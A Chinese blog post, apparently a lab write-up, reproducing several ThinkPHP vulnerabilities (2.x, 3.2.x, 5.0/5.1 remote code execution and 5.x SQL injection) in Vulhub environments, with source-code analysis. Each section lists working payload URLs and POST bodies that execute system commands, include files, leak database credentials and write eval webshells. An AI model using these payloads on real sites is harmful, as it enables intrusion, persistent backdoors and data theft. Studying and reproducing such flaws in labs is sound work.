当前位置:   article > 正文

[Vulhub] ThinkPHP漏洞合集_vulhub漏洞列表

vulhub漏洞列表


ThinkPHP 2.x 任意代码执行漏洞

0x00 漏洞描述

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
  • 1

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。


0x01 影响版本

ThinkPHP 2.x


0x02 靶场环境

ThinkPHP 2.1:https://vulhub.org/#/environments/thinkphp/2-rce/


0x03 漏洞分析

存在漏洞的文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

// line 87
if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
	$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
	$var  =  array();
	if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
		$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
		if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
			 // 禁止直接访问分组
			exit;
		}
	}
	if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
		$var[C('VAR_MODULE')]  =   array_shift($paths);
	}
	$var[C('VAR_ACTION')]  =   array_shift($paths);
	// 解析剩余的URL参数
	$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
	$_GET   =  array_merge($var,$_GET);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

检测了路由规则,如果没有则按默认规则调度URL,然后解析剩余的URL参数。

1、 preg_replace( 搜索模式, 替换字符串, 搜索目标 );,e模式的正则支持执行代码,有了它可以执行第二个参数的命令(仅仅是一个php表达式,也就是不能有分号),第一个参数需要再第三个参数中有匹配,否则会返回第三个参数而不执行命令。

举个栗子:

<?php
$a = '123qwe';
$b = preg_replace('/\d/e', "print('This is a test!');", $a);	// \d匹配数字
echo $b;
?>
  • 1
  • 2
  • 3
  • 4
  • 5

执行结果(若把$a中的数字删去导致匹配不到,就不会执行print了):
在这里插入图片描述在这里插入图片描述

2、正则表达式的搜索模式:(\w+)/([^/])是取每两个参数,$var['\1']="\2";是对数组的操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值。
例:

<?php
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/e", '$var[\'\\1\']="\\2";', $s);
print_r($var);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

执行结果(每两个一组,前者作为键,后者作为值,不足两个舍去):
在这里插入图片描述
3、回到出现漏洞的代码中,数组$var在路径存在模块和动作时,会去除掉前两个值,而数组$var来自于 $paths也就是路径。 为了让我们构造的语句得以执行,需要将语句作为数组的值,如:

/index.php?s=a/b/c/d/e/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
  • 1
  • 2
  • 3

注:

  1. 其中要执行的语句再第偶数个参数的位置;
  2. PHP中 ${} 是可以构造一个变量的,如果里面写的是函数则里可以执行函数
  3. ThinkPHP的url规则
    thinkphp 所有的主入口文件默认访问index控制器(模块)
    thinkphp 所有的控制器默认执行index动作(方法)
    存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
    ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
  • 1
  • 2
  • 3

0x04 漏洞复现

构造payload(注意不能有分号):

http://192.168.1.113:8080/index.php?s=/index/index/name/${phpinfo()}
  • 1

访问,成功执行phpinfo();函数:
在这里插入图片描述


0x05 getshell

构造payload

http://192.168.1.113:8080/index.php?s=/index/index/name/${eval($_REQUEST[8])}&&8=phpinfo();
  • 1

验证,执行成功:
在这里插入图片描述
蚁剑连接,成功getshell:
在这里插入图片描述


Thinkphp5 5.0.22 / 5.1.29远程执行代码漏洞

0x00 漏洞描述

由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。其中不同版本 payload 需稍作调整:
5.1.x:

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  • 1
  • 2
  • 3
  • 4
  • 5

5.0.x:

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id // 执行命令
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 // 执行phpinfo();
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_REQUEST[8]);?>	// 写入shell
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

0x01 影响版本

ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30


0x02 靶场环境

ThinkPHP 5.0.20:https://vulhub.org/#/environments/thinkphp/5-rce/


0x03 漏洞分析

首先,默认情况下安装的ThinkPHP是没有开启强制路由选项的,而且默认开启路由兼容模式:

// /application/config.php line 93:
    // 路由配置文件(支持配置多个)
    'route_config_file'      => ['route'],
    // 是否强制使用路由
    'url_route_must'         => false,
  • 1
  • 2
  • 3
  • 4
  • 5

由于没有开启强制路由,所以我们可以使用路由兼容模式s参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么我们可以试着利用http://serverName/index.php?s=/模块/控制器/操作/来测试。而所有用户的参数都会经过Request类的input方法处理,该方法会调用filterValue方法,而filterValue方法中调用了call_user_func()(把第一个参数作作为回调函数调用,其余参数是回调函数的参数),那么就尝试来利用这个方法.。访问如下链接:

http://192.168.1.113:8080/index.php?s=index/think\config/get&name=database.username // 获取配置信息
  • 1

会发现可以执行命令。
在这里插入图片描述
由于Windows的原因,有一些payload在Windows主机上是不可利用的,详细分析流程和兼容多平台的payload可以参考这篇文章:https://xz.aliyun.com/t/3570


0x04 漏洞复现

构造payload:

http://192.168.1.113:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
  • 1

访问,成功执行phpinfo();
在这里插入图片描述


0x05 getshell

构造payload,写入shell:

http://192.168.1.113:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_REQUEST[8]);?>
  • 1

验证,访问木马文件,成功写入且能执行:
在这里插入图片描述
蚁剑成功连接:
在这里插入图片描述


ThinkPHP5 5.0.23远程执行代码漏洞

0x00 漏洞描述

在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST['_method']变量,却没有对$_POST['_method']属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。


0x01 影响版本

ThinkPHP 5.0.x ~ 5.0.23
ThinkPHP 5.1.x ~ 5.1.31
ThinkPHP 5.2.0beta1


0x02 靶场环境

ThinkPHP 5.0.23:https://vulhub.org/#/environments/thinkphp/5.0.23-rce/


0x03 漏洞分析

我们知道可以通过http://localhost/public/index.php?s=index的方式通过s参数传递具体的路由,根据入口文件可以发现调用了start.php

// index.php line 15
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
  • 1
  • 2
  • 3
  • 4

查看start.php,执行了App类中的run()方法:

// start.php line 15
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

继续跟进run()方法,部分代码如下:

//App.php line 111
// 获取应用调度信息
            $dispatch = self::$dispatch;

            // 未设置调度信息则进行 URL 路由检测
            if (empty($dispatch)) {
/*关键代码*/		$dispatch = self::routeCheck($request, $config);
            }

            // 记录当前调度信息
            $request->dispatch($dispatch);

            // 记录路由和请求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
/*关键代码*/     Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

            // 监听 app_begin
            Hook::listen('app_begin', $dispatch);

            // 请求缓存检查
            $request->cache(
                $config['request_cache'],
                $config['request_cache_expire'],
                $config['request_cache_except']
            );

/*关键代码*/	    $data = self::exec($dispatch, $config);
        } catch (HttpResponseException $exception) {
            $data = $exception->getResponse();
        }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

可以看到在执行self::exec($dispatch, $config)之前,$dispatch的值是通过$dispatch = self::routeCheck($request, $config)设置的,这时候如果debug模式开启,就会调用$request->param(),也就是下面exec()中会调用到的函数,经过下面分析就能发现,在debug模式开启时就能直接触发漏洞,原理是一样的。

再看exec()方法:

// App.php line 445
protected static function exec($dispatch, $config)
    {
        switch ($dispatch['type']) {
            case 'redirect': // 重定向跳转
                $data = Response::create($dispatch['url'], 'redirect')
                    ->code($dispatch['status']);
                break;
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            case 'controller': // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = Loader::action(
                    $dispatch['controller'],
                    $vars,
                    $config['url_controller_layer'],
                    $config['controller_suffix']
                );
                break;
/*关键代码*/ case 'method': // 回调方法
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function': // 闭包
                $data = self::invokeFunction($dispatch['function']);
                break;
            case 'response': // Response 实例
                $data = $dispatch['response'];
                break;
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }

        return $data;
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40

exec()方法根据$dispatch的值选择进入不同的分支,当进入method分支时,调用Request::instance()->param()方法,跟进param(),看到调用了Request类的method()方法 :

// Request.php line 634
public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
/*关键代码*/ $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
            $this->mergeParam = true;
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

跟进method方法,通过官方的更新文档可知该函数是被改进的内容之一,在这个方法中,如果method等于true,则调用$this->server()方法:

// Request.php line 518
public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
/*关键代码*/ return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

跟进server()方法,其中调用了input()方法:

// Request.php line 862
public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
/*关键代码*/return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

然后调用input()方法中又调用了filterValue()方法:

// Request.php line 1030
		if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
/*关键代码*/ $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }
        return $data;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

最后filterValue中调用了call_user_func()方法,如果两个参数均可控,即$filter$value,则会造成命令执行:

// Request.php line 1082
private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
/*关键代码*/     $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }
        return $this->filterExp($value);
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

整体流程就是:{main}() -> require() -> App::run() -> App::exec() -> Request->param() -> Request-> method() -> Request-> server() -> Request->input() -> Request-> filterValue()

查看$filter参数来自于 $filter = $this->getFilter($filter, $default);,而getFilter()中设置了$filter = $filter ?: $this->filter;即由$this->filter决定;

$value为第一个参数$data,即为传入数组的值,由$this->server决定。

$method变量是$this->method,其同等于POST方法中的的method参数值,由于$this->method可控,导致可以调用_contruct()覆盖Request类的filter字段。


0x04 漏洞复现

访问靶场页面:
在这里插入图片描述
构造payload通过post提交,成功触发漏洞:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
  • 1

在这里插入图片描述


0x05 getshell

通过echo命令写入文件:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php eval($_REQUEST[8]);?>' >shell.php
  • 1

在这里插入图片描述
访问,执行成功
在这里插入图片描述
蚁剑成功连接:
在这里插入图片描述


ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞

0x00 漏洞描述

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。


0x01 影响版本

ThinkPHP < 5.1.23
该漏洞的形成最关键一点是需要开启debug模式


0x02 靶场环境

ThinkPHP 5.0.9:https://vulhub.org/#/environments/thinkphp/in-sqlinjection/


0x03 漏洞分析

查看源码/application/index/controller/Index.php

<?php
namespace app\index\controller;

use app\index\model\User;

class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
        foreach($result as $row) {
            echo "<p>Hello, {$row['username']}</p>";
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

可以看到input()函数中定义了$ids的类型是数组,而$ids又被User类中的where()函数调用,跟进后找到/thinkphp/library/think/db/Builder.php文件:

protected function parseWhere($where, $options)
{
    $whereStr = $this->buildWhere($where, $options);
    if (!empty($options['soft_delete'])) {
        // 附加软删除条件
        list($field, $condition) = $options['soft_delete'];

        $binds    = $this->query->getFieldsBind($options);
        $whereStr = $whereStr ? '( ' . $whereStr . ' ) AND ' : '';
        $whereStr = $whereStr . $this->parseWhereItem($field, $condition, '', $options, $binds);
    }
    return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

接着找到定义'in'的位置:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

这段代码当引入了in 或者 not in的时候遍历value的key和value。而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。


0x04 漏洞复现

构造payload:

index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
  • 1

访问,成功显示消息:
在这里插入图片描述
下拉发现泄露数据库名、账号及密码:
在这里插入图片描述


0x05 远程连接

Windows可以用Navicat工具
linux可以使用mysql -h 目标ip -u 用户名 -p 密码
但是一般不会开启远程连接权限,默认root用户也只限本地连接


ThinkPHP3.2.x 变量覆盖文件包含导致RCE

0x00 漏洞描述

该漏洞是在版本中,业务代码中如果模板执行方法指定的第一个参数可控,则可导致模板文件路径变量被覆盖为携带代码的文件路径,产生任意文件,执行任意代码。


0x01 影响版本

ThinkPHP 3.2.x


0x02 靶场环境

ThinkPHP3.2.3完整版 Windows 2008R2:http://www.thinkphp.cn/down/610.html


0x03 漏洞分析

在ThinkPHP 3.2.3框架的程序中,如果在模板中输出变量,需要在控制器中把变量传递给摸板系统,提供了对摸板变量的赋值方法,该版本漏洞是使用该系统提供的 assign 方法对摸板变量赋值,在 IndexController.class.php 中的 index 方法中调用 assign 方法并传入参数。

下面是漏洞的演示代码,其中 assign 方法中的第一个参数可控(测试时需要将代码放在对应位置):

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($value=''){
        $this->assign($value);
        $this->display();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

踩坑:修改php文件时不能用记事本编辑代码 ,否则可能会出现莫名的错误,需要使用PHP专用的编辑器修改。

因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:

\Application\Home\View\Index\index.html
  • 1

0x04 漏洞复现

访问 index.php 抓包,构造 payload:?m=--><?=phpinfo();?>

debug 模式开启的 payload 稍有不同:?m=Home&c=Index&a=index&test=--><?=phpinfo();?>

开启 / 关闭调试模式在项目入口文件中添加常量APP_DEBUG定义:

define('APP_DEBUG',True); // 开启调试模式
  • 1

写入攻击代码到日志中,错误请求系统报错:
在这里插入图片描述
日志文件路径(这里是默认配置的log文件路径,ThinkPHP的日志路径和日期相关):

\Application\Runtime\Logs\Common\21_07_18.log
  • 1

查看日志文件内容:
在这里插入图片描述
注意这里不能直接在 url 中构造 payload,因为进行url编码后传给服务器,日志会成这样:
在这里插入图片描述
构造攻击请求,包含上述文件:

?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07_18.log
  • 1

在这里插入图片描述

程序执行流程如下:
assign可控入口 => assign方法赋值给$this->tVar => 进入display方法 => fetch方法 => hook::listen到exec => Behavior\ParseTemplateBehavior类中run => Think\Template类中fetch => Storage::load中变量覆盖,文件包含 => RCE

详细分析:https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ(ThinkPHP3.2.x RCE漏洞通报)


0x05 getshell

既然可以包含文件执行php代码了,但是由于不是.php文件,蚁剑无法连接,那就尝试写入一个新的php文件:
使用file_put_contents()函数,写入一个新的文件:
最开始构造的payload为?m=--><?=file_put_contents(shell.php,'<?=eval($_REQUEST[8]);?>');?>,但是新生成的文件名却少了一个.
在这里插入图片描述
猜测可能是读取.log文件中执行php语句时过滤了吧,那就将文件名写入变量尝试:

?m=--><?=$b='shell3.php';file_put_contents($b,'<?=eval($_REQUEST[8]);?>');?>
  • 1

在这里插入图片描述
包含,执行php代码写入新的文件:

?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07_18.log
  • 1

这里也能看出二者的区别了:
在这里插入图片描述
这时候文件就已经成功写入了:
在这里插入图片描述
访问验证一下:
在这里插入图片描述
换一种方法,执行echo命令写入文件,先构造一句话木马(这里测试连接密码不能是数字):?m=--><?=123;eval($_REQUEST['c']);?>
在这里插入图片描述
包含,改为POST包并传入参数:
在这里插入图片描述
echo 命令直接写入就可以了,这里的^用于是windows中转义尖括号的,就是不一定有直接写入的权限,如果存在内容检测可以将内容编码再使用certutil -decode 源文件 目标文件将写入文件解码到新文件:在这里插入图片描述
访问验证一下:
在这里插入图片描述


参考链接:
https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ(ThinkPHP3.2.x RCE漏洞通报)
https://www.cnblogs.com/g0udan/p/12252383.html(ThinkPHP 2.x 任意代码执行漏洞 复现与分析)
https://xz.aliyun.com/t/3570(thinkphp 5.x全版本任意代码执行分析全记录)
http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg(THINKPHP 5.0.X-5.0.23、5.1.X、5.2.X 全版本远程代码执行漏洞分析)
https://www.jianshu.com/p/2ec3d469bb5c(ThinkPHP5 SQL注入漏洞 && 敏感信息泄露——vulhub漏洞复现)

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/不正经/article/detail/269727
推荐阅读
相关标签
  

闽ICP备14008679号